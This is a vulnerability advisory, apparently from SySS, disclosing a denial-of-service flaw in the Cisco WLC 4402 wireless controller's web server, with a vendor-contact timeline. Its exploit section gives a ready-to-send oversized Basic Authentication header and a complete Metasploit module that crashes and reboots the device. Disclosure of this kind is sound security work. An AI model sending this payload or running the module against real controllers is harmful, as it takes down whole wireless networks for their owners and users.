Cisco WLC 4402 Denial-of-Service vulnerability

[SySS security advisories -- Christoph Bott <advisories@xxxxxxxxxxxx>]

=======================================
Vulnerable Product: Cisco WLC 4402 (most likely among many others)
Vulnerability discovered: January 2009
Reported to vendor: Jan 01, 2009
Fix available: not yet
=======================================


TIMELINE:
---------------------------------------------------
+ 01/11/2009: discovered vulnerability on a customer's site

+ 01/13/2009: initial vendor contact via psirt@xxxxxxxxx

+ 01/14/2009: vendor opened PSIRT case ID PSIRT-1018301631

+ 02/09/2009: vendor states, that bugfix is _not_ contained within
cisco-sa-20090204-wlc

+ 03/30/2009: vendor states: "We have a fix  for this issue. However,
due to some other issues we are investigating we may not make this
public until about 42 days."

+ 06/02/2009: vendor states: "I really apologize for the delay on
publishing this advisory. The reason that we have not publish is because
we are also incorporating other security fixes within all the affected
releases. We WILL be publishing the advisory on July 8th, 2009 at 1600 UTC."

+ 07/24/2009: Customer agreed with full disclosure

+ 07/26/2009: Still no fixes available; full disclosure due to lacking
vendor activities.



PRODUCT:
---------------------------------------------------
The Cisco WLC 4402 is a Wireless LAN Controller, which is manageable via
an integrated embedded webserver (emweb httpd).



AFFECTED VERSIONS:
---------------------------------------------------
The vulnerability described below could have been verified on WLC 4402,
software release 5.1.151.0. However, since the vulnerability affects the
integrated embedded emweb http daemon, several other products and/or
software releases might be affected, too.



VULNERABILITY:
---------------------------------------------------
Using long, random authentication data, the embedded web server can be
crashed, which leeds to a device reboot. Subsequently repeated requests
lead to a permanent denial of service of the WLC (and therefore of the
whole wireless infrastructure).



EXPLOIT:
---------------------------------------------------
Not needed.

One only has to call
"/screens/frameset.html"
and provide Basic Authentication data which uses
a username and password longer than 63 characters each.

The following header worked for me:
Authorization: Basic
MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDoxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0


The following code snippet can be used as a module within the metasploit
framework:

---- snip -----
require 'msf/core'


class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::Tcp
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Cisco WLC 4200 Basic Auth
Denial of Service',
                        'Description'    => %q{

                                This module triggers a Denial of Service
condition in the Cisco WLC 4200
                                HTTP server. By sending a GET request
with long authentication data, the
                                device becomes unresponsive and reboots.
Firmware is reportedly vulnerable.
                        },
                        'Author'                => [ 'Christoph Bott
<msf[at]bott.syss.de>' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 5949 $',
                        'References'     =>
                                [
                                        [ 'BID', '???'],
                                        [ 'CVE', '???'],
                                        [ 'URL',
'http://www.cisco.com/?????'],
                                ],
                        'DisclosureDate' => 'January 26 2009'))

                register_options(
                        [
                                Opt::RPORT(80),
                        ], self.class)

        end

        def run
                connect

                print_status("Sending HTTP DoS packet")

                sploit =
                        "GET /screens/frameset.html HTTP/1.0\r\n" +
                        "Authorization: Basic
MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDoxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0"

                sock.put(sploit + "\r\n")

                disconnect
        end

end

---- snip ----